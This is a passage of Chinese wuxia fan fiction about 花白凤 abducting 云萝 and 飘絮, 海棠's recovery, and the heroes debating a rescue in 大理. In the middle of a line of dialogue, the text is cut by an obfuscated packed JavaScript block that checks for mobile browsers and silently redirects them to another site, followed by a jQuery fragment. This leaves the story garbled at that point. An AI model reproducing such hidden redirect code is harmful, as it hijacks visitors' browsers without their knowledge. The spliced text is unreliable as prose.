花白凤虽然气急败坏,却也不是蛮不讲理,她冲出账外一看,果然有一队骑兵涌入谷中,而她带来的手下在骑兵的冲击下,死的死,伤的伤,剩下的人则如同蚂蚁一般乱窜,被骑兵弓箭射杀。 骑兵之中,有一人身穿华丽甲胄,放声高喊: “吾乃圣上钦封滇南宣慰使,前来救驾,尔等贼子速速弃械投降,否则格杀勿论!” 游赋得声如洪钟,震慑众人。花白凤火冒三丈,挥掌斩断身边一棵翠竹,将竹竿如同标枪一般像游赋得掷去。 滇南湿热,植被繁硕参天,这棵巨竹少说百斤之重。花白凤内功绝顶,即便相隔数十丈仍能将巨竹精准掷去。可游赋得也是历经沙场,见巨竹迎面袭来,急忙调转马头,仰身躲闪。饶是如此,翠竹经花白凤神功运用,呼啸生风,惊得他座下马匹扬蹄嘶鸣,游赋得一时把持不住,最终滚下马来。 眼见主将落马,兵士纷纷前来相助,也顾不上围剿敌人,剩余南教教众趁机逃出谷中。 花白凤再回到账内,只见梅琴依旧守在海棠床前,此刻眼中已有希望的光芒。 花白凤陷入两难,以她的武功,足以胜过重伤的梅琴,可倘若梅琴拼死抵抗,能够拖延多久实难预料。加之游赋得率兵赶来,花白凤虽不惧,但她方才与梅兰竹菊四女相斗已然大耗内力,眼下硬拼绝非上策。可就此走了,花白凤实在不甘。 为难之际,花白凤又听得一阵马蹄声。花白凤内力深厚,听出这马蹄声距此不足一里,且马上之人内息浑厚,不用猜也知道,是归海一刀赶回来了。 花白凤气得咬牙切齿,却始终想不到解决之法。最终,花白凤一声怒喝道: “告诉段天涯和成是非,想要回她们的妻子,就来大理找我!” 说罢,花白凤抱起昏迷的飘絮和云萝,飞身离去。 再说另一头,一刀得天羽警醒,心中忐忑不安,因而一路狂奔疾驰,加上他骑的是汗血宝马,因而早已把天涯、和成是非远远甩开。可眼下一刀顾不得,他只盼能早些赶回海棠身边。 所幸不过一炷香的时间,山谷已近在眼前。可忽然间,一刀遥见一匹快马由谷中奔出,马上红衣飘扬,犹如一团烈焰。 一刀一眼认出花白凤,当即拔刀迎面斩去。 花白凤自然也认得一刀,毫不躲闪,挥动右袖卷上刀刃。花白凤内力胜于一刀,故而一刀非但没有斩下花白凤的手臂,反而宝刀被卷。花白凤左袖紧接着向一刀面门拂去,一刀受困却丝毫不慌,左手依旧紧握宝刀,上身后仰,在马背上使出一招“倒转乾坤”,同时左手反旋,灌注全力,最终将花白凤的右袖撕碎。 花白凤的右袖被撕碎,露出雪白的手臂。但此刻花白凤已顾不得气恼,鞭打马匹飞奔逃离。 一刀调转马头正欲追去,却听见背后呼喊。 一刀回头望去,又见一匹马奔来,只是这匹马儿小步缓奔,马上有两人,一人是游赋得,另一人则是梅琴。 只见梅琴由游赋得扶着,面色苍白,背上衣衫浸满鲜血,嘴中仍急切地念着: “快!你快回去看海棠!” 一刀如梦方醒,急忙奔回山谷。 一入山谷,只见伏尸满地,可一刀顾不得这些,他只见海棠的那顶帐篷被撕得破烂,在风中摇摇欲坠。 一刀飞身赶去,账中一地狼藉,而海棠则静静地躺在地上。 一刀几乎心跳停止一般,他强忍着恐惧,步履沉重地一步步走近,伏在海棠身边。此刻一刀只觉得大脑一片空白,不知犹豫了多久,他最终颤抖地伸出手探向海棠的鼻息。 可还未等他的手指触及,海棠的眼睑忽然微微一动。 一瞬间,一刀的心仿佛要跳出来一般,他不敢相信自己的眼睛,不禁屏着呼吸,等待着奇迹。 一刀的确没有看错!很快,海棠嘴唇微启,传出呼吸的声音,虽然微弱,却真真切切,她的手也虚弱地举起,似乎急切着要抓住什么。 一刀几乎要哭出声来,他不假思索地握住海棠手。可这一握,一刀才发现,海棠的手已不似他离开之前那般冰冷,反而滚烫如炙。 一刀急探海棠脉象,这才发现海棠体内真气如波涛翻滚汹涌。他急忙扶起海棠,运掌往她背上一按,缓缓输入内力。 “海棠,顺着我的真气调息……求你……不要放弃……不要再……” 一刀声音颤抖,几近哀求,他不知道海棠是否还能听见。可一刀不敢着急,眼下海棠体内真气冲撞,凶险至极,他只能一点点地输送内力,只求…… 不过或许是天意,海棠意识尚未恢复,身体竟有了反应,顺着一刀的真气,运功调息,将体内杂乱澎湃的真气缓缓疏导归元。 就这样不知过了多久,海棠体内真气渐渐平复,呼吸渐匀。一刀已累得大汗淋漓,可他见海棠身体摇摇欲倒,急忙张臂抱住。 海棠躺在一刀怀中,已恢复生机,眼睑转动,嘴唇微张,却说不出话来,双手虚弱地举起,在空中胡乱摸索。 一刀只恨自己没有再多一只手,能握住海棠的手。 所幸,海棠的手虚空摸索几周,终于触到一刀的面庞。 就在肌肤相触的一瞬间,身体已本能地回忆起熟悉的轮廓,将海棠由混沌的梦中唤醒。 海棠双眼缓缓睁开,初时目光混沌,但渐转清醒,转了一周,最终落在了一刀的脸上。 “是你……” 不知是沉睡太久还是别的原因,海棠眼圈潮红,声音虚弱沙哑,却明显带着哭腔。 “别说话……” “我……”海棠毫不听劝,她的手虚弱无力,不宜久举,却倔强地不肯放下。 “我记得你……我终于……找到你了,一刀……” 短短一句话,却饱含几个月来的迷惘、不安,还有纵使千里奔波、前路渺茫,仍然执意追寻的决心和思念。 她抚摸着一刀眼角细纹,望着鬓间斑白,这是纵使生死相隔、年岁流转,也绝不会忘记的容颜。 这一刻,一刀再也无法自制,抱紧海棠嚎啕大哭。 32.英雄岂畏敌 舍义护红颜 日落月升,浓浓的夜色笼罩云江峡谷,仿佛一切都归于平静,可在平静之中蕴含着无数危机。 今日南教突袭云江峡谷,谷内守军奋起迎战。这支军队是云萝郡主带来的御林军,训练有素,战力极强,可此次来袭的敌人皆是南教之中一等一的死士,不但武功高强,作战勇猛,更是善于用毒,他们突然袭来,御林军慌忙应战,陷入一片混乱。所幸在最后关头,滇南宣慰使游赋得率兵赶来,最终击退敌人。 可这又如何呢?军队损伤惨重,军账之内呻吟悲鸣之声不绝于耳,军医忙前忙后,满头大汗。这还不止,南教来袭之时,谷中除了御林军,还有无痕公子及其四名侍女,无痕公子武功绝顶,绝不逊于南教教主花白凤,由无痕公子坐镇谷中,本应万无一失。可没想到,等到天涯、成是非赶回之时,才知道无痕公子已死,梅兰竹菊四女之中有三人重伤。更关键的是,柳生飘絮和云萝郡主被南教教主花白凤掳走了! 主账之中,成是非急得团团直转,段天涯、归海一刀、游赋得三人也是沉默不语。 也不知成是非转了多少圈,终于帐幕掀开,一名白衣少女和一名老军医走了进来。游赋得和天涯一见二人,急忙起身,游赋得开口问道: “情况如何?” “回禀大人,所有伤者皆已妥善救治。多亏了这位姑娘,医术高明,她所调配的药方见效极快,伤者大多疼痛减轻,几名重伤者也已抢救回来,并无死亡。” 说话间,老军医不禁向一旁的白衣少女投去敬佩的目光。游赋得听闻,也对着少女俯身一拜。 这名少女正是春梦了无痕的贴身侍女菊意,在无痕公子一众传人之中,属菊意的医术最为高明,可谓尽得真传,大战之后,谷中无人死亡,首要功劳应归属菊意。 可面对夸赞,菊意神情语气并无半分喜悦,反而沉重道: “大人这是在折煞小女!” 天涯察觉少女的情绪,于是问道: “请问三位姐姐情况如何?” 天涯这一问,菊意再也无法压抑心中悲痛,哽咽道: “梅姐姐背上中箭,竹姐姐右臂骨折,虽然伤得不轻,但不至危及性命,修养一些时日就能痊愈,只是……兰姐姐她……她为了保护我,硬生生接下花白凤两掌。花白凤掌力狠辣,直逼心脉,虽然兰姐姐有内功护体,但……只怕这内伤……要伴随她一生……” 话至此处,菊意泣不成声。正当天涯思索如何安慰之时,成是非却突然开口: “好了好了!没死就好,内伤什么的以后慢慢治就行!” 天涯大吃一惊,要知道以往成是非虽然鲁莽冲动,却并非完全不通人情世故,而且他本性善良,照理不该说出这般刻薄无情的话。可此时的成是非一反常态,毫不理会天涯的眼神责备,急道: “天涯,这里的事已经处理好了,我们快走吧!” “去哪儿?” “还能去哪儿?大理啊!”成是非以为天涯还不明白,急道,“云萝和飘絮,我们的妻子被掳走了,作丈夫的当然是赶紧去救人啊!我听说,花白凤临走之前放下话,要我们去大理找她。” “大理是滇南重镇,黔国公府和南教总坛风雨楼都在那里。” “这就对了!花白凤是南教教主,他掳走云萝,一定是躲回自己的老巢,我们得赶紧去大理救人!” 成是非显然是没有听出天涯的言外之意,天涯不禁微微叹气,继续解释道: “花白凤此举显然是请君入瓮。南教是滇南第一大派,实力不容小觑,今日花白凤仅仅带来百人,就能将这里搅得天翻地覆,掳走飘絮和云萝。而大理是南教势力根基所在,又有黔国公府坐镇,我们就算贸然前去,也未必……” “怕什么?”成是非心急如焚,不管不顾道,“今日花白凤是趁我们三人不在,才偷袭得逞。再说了,南教势力庞大,我们就没有人吗?游大人,你是滇南宣慰使,离京之前皇上调拨了好些兵马给你,你把兵马全都召集起来,我们一起杀到大理,逼花白凤交人!” 成是非急切地望向游赋得,却不想游赋得并不答应,反而拱手道: “这一点,请恕下官不能从命。” “你说什么?” “正如段大侠所说,南教是滇南第一大派,不仅实力雄厚,最关键的是极受滇南苗民推崇,教众逾万。滇南不同中原,自古是苗民生息繁衍的故乡,眼下改土归流在即,人心浮动,万不能在此时由我们主动挑起冲突。” “什么叫我们主动挑起冲突?现在是花白凤掳走了我的妻子,分明是南教挑衅在先!” “可这有什么证据呢?不错,我今日率兵赶来,的确看见谷中混战。可混战之中,我并未亲眼见到南教教主花白凤,而今日来袭的苗人武士不是战死,就是被俘之后吞毒自尽,至于说郡主被南教教主掳走,除了那位梅姑娘所说,没有其他实证。倘若以此为由贸然攻打南教,到头来却找不着人,南教借题发挥,传扬开来,那时不明真相的苗民自然以为是我们汉人寻衅生事,欺辱南教,进一步引发汉苗冲突,于局势实在无益。” “你……” “这只是其一。其二,南教不仅受到苗人百姓崇敬,更有黔国公府庇护。我虽是当今圣上钦封宣慰使,可黔国公也是太祖皇帝钦封的藩王,功勋彪炳,世代相袭。如今削藩旨令未下,倘若黔国公府有意庇护南教,我也不能公然对抗。” “够了!”成是非再也听不下去,怒声打断,“你说了这么多,不就是害怕南教吗?黔国公府不能得罪,可你别忘了,云萝是大明郡主,是当今皇上的亲妹妹,你没能保护好云萝,害她被人掳走,倘若云萝有个三长两短,你就不怕我向皇上告状,砍了你的脑袋……” “成是非!” 眼见越吵越僵,天涯赶忙出声阻止成是非。以大局而言,游赋得所说切合时势,天涯心中赞服,所以并未开口反对。可天涯也能体谅成是非的心情,成是非和云萝虽然平日里吵吵闹闹,但实则夫妻情深,妻子被掳,生死不明,作为丈夫怎会不急?更何况,成是非出身民间,对于朝政风云一窍不通,情急之下,难免把话说过了头。 面对成是非的威胁,游赋得非但不怒,反而对着成是非俯身一拜,沉声道: “郡马说的是,下官受命领兵,自有保护郡主之责。如今郡主被奸人所掳,是下官失职,不必劳烦郡马,我自会上书请罪。但位卑未敢忘忧国,我还是坚持刚才所说,改土归流乃千秋大计,万不可因小失大,倘若皇上心系江山子民,自当懂得取舍。倘若……因此害了郡主性命,皇上要治下官杀头之罪,我绝无怨言!” 游赋得所言慷慨激昂,大义凛然,叫成是非不知该如何反驳。就在僵持之时,忽听得一阵爽朗的笑声,紧接着帷幕掀开,一人走入账内。 “梅姐姐,你怎么来了?” 来人正是梅琴。 众人一见,不免大吃一惊。要知道,梅琴所受箭伤深及心肺血脉,换做常人,只怕一年半载都无法下床,可眼下梅琴身姿挺拔,双目炯炯,若非因失血过多以致脸色苍白,当真看不出她身受重伤。 “游大人说得好!”梅琴望向游赋得,眼神充满敬佩,“大丈夫当以社稷苍生为重,真情固然难得,却不可因私忘公!” 说着,梅琴又转向成是非,坚定道: “花白凤袭来之时,是我率众抵挡。怪我无能,拦不住花白凤,害得云萝郡主陷入敌手。游大人在最后关头赶来,一切已成定局。倘若郡马真要治罪,应当治我,与游大人无关。” 梅琴所说掷地有声,逼得成是非哑口无言。其实,成是非并不是想要怪罪谁,只是担忧云萝安危,急切要逼游赋得出兵救人。可眼下游赋得态度坚决,梅琴所言亦在情在理,成是非也不是不明事理之人,最终一咬牙,开口道: “算了!不帮就不帮,谁稀罕?南教势力庞大,难道我护民山庄就是好欺负吗?天涯,你赶紧飞鸽传书回京,把护民山庄所有人手都召集过来,我就不信举全庄之力,还掀不翻一个小小南教!” 可这一回,又轮到天涯沉默不语。 “天涯!” “这一点……恐怕也是不行!” “你这是什么话?”成是非已是声音发颤,“除了云萝,飘絮也被掳走,她可是你的妻子,难道你……” 天涯抬手打断成是非,神情十分沉重。 “成是非,我能体谅你的心情,于私而言,云萝和飘絮,我们的妻子被人掳走,作为丈夫哪怕拼上性命也该救出她们。但……于公而言,游大人说得没错,南教在滇南颇具威望,又有黔国公府庇护,此时万不能公开与之对抗。倘若举护民山庄全部力量,的确可与南教一战,但结果必定是两败俱伤。成是非你要明白,皇上设立护民山庄,是要我们辅佐江山,为百姓请命,庄中的大内密探虽然归我们统辖,却不是我们的部曲私属,我们有什么理由要他们为救我们的妻子而赔上性命?” 天涯所言,同样令成是非无法反驳。只见成是非神情痛苦,连连后退,最终如脱力一般,跌坐在一张黄木椅上。 “那就……就没有办法了吗?难道就什么都不做……” “当然不是!”天涯斩钉截铁道,“我已经说了,于公而言,我们不能调动护民山庄的人手为自己所用,但……于私而言,身为丈夫就应该保护自己的妻子,至少……我们自己的性命,可以自己做主。” 天涯的话同样掷地有声,令成是非的眼中重新燃起光亮,成是非一把跳起,朗声道: “对!你说得没错,我们的妻子自己救,我们的性命自己做主!只要兄弟齐心,哪怕是龙潭虎穴也能闯一闯!事不宜迟,天涯、一刀,我们快动身吧!” 直到此刻,众人才想起一刀。只见一刀远离众人,背靠一根木柱而立,沉默不语,木柱的阴影笼罩着他,令他的神情难以揣测。 “一刀……” 在成是非的催促下,一刀终于走出阴影,淡淡开口道: “我不去。” “你说什么?” 成是非几乎不相信自己的耳朵,他大步上前,双目直逼一刀。面对成是非的逼视,一刀神情没有半分变化,语气平淡却坚定道: “我说……我不去大理救人!” 一时间,成是非气得满脸通红,却一句话也说不出来。 “花白凤的武功修为我们都是见过的。”一刀仿佛事不关己一般,继续淡淡说道,“眼下我们三人各有内伤在身,就算合力对付花白凤一人也没有胜算。更何况,天涯说的不错,南教总坛就在大理,花白凤既然放话让我们去大理找她,必定早已设下埋伏,就算单枪匹马闯去又能如何?” “那也要去!”成是非几近崩溃地吼道,“那是云萝,是我的妻子,她若有三长两短,我也不能独活。于公于理,我知道不应该调动护民山庄的人手,所以我只有单枪匹马去救人这一条路。哪怕希望渺茫,也要……” “这是你的事。”一刀打断成是非,他声音嘶哑,眼中似乎闪过一丝痛苦,转瞬即逝,“她是你的妻子,与我无关。” 一瞬间,成是非只觉得脑中仿佛有霹雳炸开,他转头看向天涯,却见天涯亦是神色悲痛,默然不语。 “你什么意思?你是说……你要见死不救,是吗?你是害怕花白凤,还是因为云萝和飘絮不是你的妻子,她们的生死与你无关?可你摸着良心告诉我,当你要救海棠,独闯临仙阁,我和天涯难道不是豁出性命陪你吗?如今轮到我们的妻子身陷险境,你却要逃跑做懦夫!” 成是非所说的每一个字都如同大山一般压在一刀心头,一刀眼中痛苦难以掩盖,喉头几转,似乎有无数的话语说不出口。僵持片刻,最终一刀声音嘶哑道: “随你怎么说,我……” “当然不是!” 又是一阵声音闯入,打断一刀。只见帐幕掀开,海棠身子摇晃走了进来。 “海棠,你……”一刀见状,急忙上前搀扶,却被摆手拒绝。 “成是非,你误会了!”海棠并不理会一刀的关心,而是对着成是非说道,“一刀的意思并不是见死不救,而是想要你冷静下来。大哥和一刀说得没错,南教势力庞大,花白凤的武功深不可测,加之大理是南教腹心之地,就算我们单枪匹马闯去又能如何?到那时,非但不能救人,连同我们也陷入圈套,岂不是连最后的希望也没了?” “我懂!我懂!!我懂——”成是非急得团团转,“可你们说了这么多,这也不行,那也不可,我还能怎么样?难道真要对云萝见死不救吗?” “当然不是见死不救!成是非,你的心情我理解,可眼下并没有到生死存亡的时候。你冷静想一想,以花白凤的修为,她要杀云萝易如反掌,何必要费心费力将她掳走?更何况,云萝与花白凤无冤无仇,花白凤为何要杀她?依我看,花白凤之所以要掳走云萝,还是因为她的身份。” “身份?”此话一出,倒叫成是非疑惑起来。 “你忘了吗?云萝可是当朝郡主,皇上一母所出的亲妹妹。我听梅姐姐向我转述,你和云萝初到滇南之时,与花白凤狭路相遇,花白凤一知云萝身份,便要出手擒拿,我想也是因为这个。” “她到底想做什么?” “我猜测……还是与改土归流有关……” “哦?”话至此处,游赋得饶有趣味地看向海棠,“此话何解?” “大人见识远卓,想必心中已有答案。”海棠对着游赋得俯身一拜,继续道,“以南教如今在滇南各地所为,其反对改土归流之意不言而喻,所以花白凤命令属下在石溪镇制造瘟疫,挑起汉苗冲突。可从皇上任命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357352|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游大人担滇南宣慰使一职来看,改土归流势在必行,花白凤深知这一点,所以她已经在做最后打算。恕我斗胆猜测,只怕再过不久,南教便要起兵造反,那时云萝就是牵制朝廷的王牌。” 此话一出,众人陷入沉默,游赋得面色深沉,却并未开口反对。 “所以我想……在那之前,云萝的性命应该无恙……” “这只是你的猜测而已!”成是非急道,“花白凤根本就是个疯子,谁能说得准她到底在想什么?再说了,就算你说得没错,可云萝毕竟落在她手里,谁知道花白凤会怎么对她?云萝自小娇生惯养,怎么受得住那些手段?” “所以我说了,我们并不是见死不救、无所作为,而是不要贸然行事。依我之见,当务之急有两件事:一是尽快赶去大理,但不可莽撞闯入南教;二是想办法探听消息,确保云萝和大嫂的安全。” “这怕是不容易!”这下,轮到天涯开口,“南教立教百年,在滇南树大根深,并非一朝一夕可以轻易渗透。据我所知,义……铁胆神侯执掌护龙山庄之时,早已想在南教内部安插眼线,可多年来终究徒劳无功。非但如此,就连护民山庄设在临州的分舵北思楼也……也反被渗入,遑论打探消息。” “这我明白,南教实力深不可测,一时间由外安插眼线根本是天方夜谭,可倘若能找到一位与南教早有渊源之人,代为打探消息,也未尝不可。关于这一点,我倒有一位人选推荐。” “谁?” “狇府世子,狇清。” 众人简单商讨之后,大致决定下一步计划,各自散去。 一刀护送海棠回营帐休息。一路上,二人沉默不语。回到营帐之后,一刀为海棠铺好床褥,待到一切整理妥当,一刀转身回望,正好对上海棠的眼神,却见海棠急忙避开,不禁苦笑。 “看来,海棠当真是厌恶我!” “不!我……” 海棠看着一刀为她忙前忙后的身影,心绪起伏,是以待到一刀回身望来也未及反应,与他的眼神撞个正着,却不知该说什么,急忙避开。 “我……我是心痛……” “这不是一个意思吗……” “当然不是!”海棠苦苦思索该如何解释,终究无果,只能无奈叹道,“我知道,你对成是非说的那些话不是真心……” “不!”这下轮到一刀急了,他仿佛赌气一般地高声道,“那就是我的真心话!我是懦夫,是胆小鬼,我就是害怕了……” “可你不是为自己的性命而害怕,你是为我,对吗?” 此话一出,一刀顿时哑口无言。 海棠见状,亦是心痛不已,于是她走近一刀,望着他的双眼,坚定道: “归海一刀怎么可能是懦夫?你对成是非说出那些话,其实最痛苦的是你。你只是太在乎我了……” 海棠此言非虚。二人自小一起长大,海棠对一刀的品行性格了熟于胸。在海棠的认知中,归海一刀虽不说天不怕地不怕,但世上能够吓倒他的人或事实在寥寥无几,无论是少时在护龙山庄经受几乎丧命的严苛训练,还是以往执行任务时遭遇武功修为远胜于己的强敌,都不能令他胆怯退步。 可唯独一种情况,能够令归海一刀变得畏缩谨慎,那便是关于海棠。海棠至今记得,一年前,她陪同一刀上少林寺寻仇,反被几大门派围攻。那时一刀初练雄霸天下,走火入魔,无法克制自己的杀性,面对敌众我寡的绝境,非但丝毫不惧,反而愈杀愈狠。即便如此,在眼见海棠中毒镖受伤之后,一刀却能及时收手,保护海棠杀出重围。 “海棠,我们走吧!”一刀握紧海棠的手,几近乞求道,“现在就走!我们找一个没有人认识我们的地方,就像桃源村一样,归隐山野不好吗?我是真的害怕……花白凤的武功深不可测,南教的手段更是防不胜防,如今又有狇王府为她撑腰……我实在害怕……我已经失去过一次……” 一刀越说越乱,手心发冷,声音都止不住颤抖。海棠察觉,更加坚定地回握一刀的手。 “那么之后呢?” “之后?” “你也说了,花白凤的武功深不可测,又掌握南教和狇王府两大势力,仅凭大哥和成是非绝难应对……” “我管不了!”一刀愈发暴躁,仿佛心虚一般地提高声调,“世上天灾人祸有千千万万,我们岂能尽管?哪怕是一次也好,为自己打算,又有什么不对?” “这不一样!世上灾祸的确多得数不胜数,我们自然不可能每一件都管。但是大哥与我们一起长大,情同手足,大嫂为了救我生死未卜;成是非虽然与我们不是自小相识,但他出于朋友之义,明知凶险也陪你同闯临仙阁,云萝更是为了我舍身相护。现在大嫂和云萝落在花白凤手中,大哥和成是非为了救人必定也是豁出性命。此情此境,难道我们要弃之不顾?你可以做到吗?” “我……”最后一句话,似乎刺中了一刀心中真正的痛处,他原本紧绷的身体突然如同泄气的皮球垮了下来。 “我知道的……”海棠声音哽咽,她轻轻挣开一刀的手,抚上一刀的脸颊,“我知道……这一年来你受了许多苦……” 海棠凝望一刀,心中悲痛不已。在海棠的记忆中,从前的一刀虽然性格木讷、寡言少语,却也是意气风发的美少年。可惜遭逢突变,二人分别一年,如今再见,竟恍若隔世。眼下海棠抚摸着一刀的脸颊,竟觉骨如刀削,鬓角银发隐约可见,即知这一年来一刀所经受的苦楚。海棠不禁想到,常言人生疾苦莫过于生老病死,可是死去之人无知无觉,爱恨恩仇尽消,反倒是在世之人要承受阴阳相隔相思之苦,这又何尝不是更为锥心之痛? “……可是一刀……人生在世,并非只有一个‘情’字。我们今日固然可以一走了之,可此事毕竟因我而起,倘若大哥他们有个三长两短,我们今后余生必然夜夜难眠!这是你想要的吗?” 归海一刀最终无言以对,羞惭地低下了头。海棠见此,心中亦不是滋味,于是她轻轻捧着一刀的脸,踮起脚尖,吻上他的双唇。 海棠重伤初愈,气血不畅,双唇冰凉,这一吻仿佛初雪飘落。但一刀竟如触电一般,周身一颤,随即只觉心底一股暖流油然而生。 “一刀,我答应你……”海棠望着一刀,眼中充满诚挚而炽热的爱意,“等此事了结,救出大嫂和云萝之后,我们立即退隐江湖,再不问世间之事,我……” “不要说了!”话未说完,一刀忽然张臂将海棠紧紧拥入怀中,颤声道,“我只求一件事……你要保护好自己……不要……不要再离开我……” 海棠被淹没在一刀的怀抱中,如岩浆般的体温令她颤抖不已,千言万语仿佛堆积在喉头却无法开口,她只能紧紧抱着一刀以作回应。 逝者如斯,风雨不止,但至少此刻,他们拥有了彼此。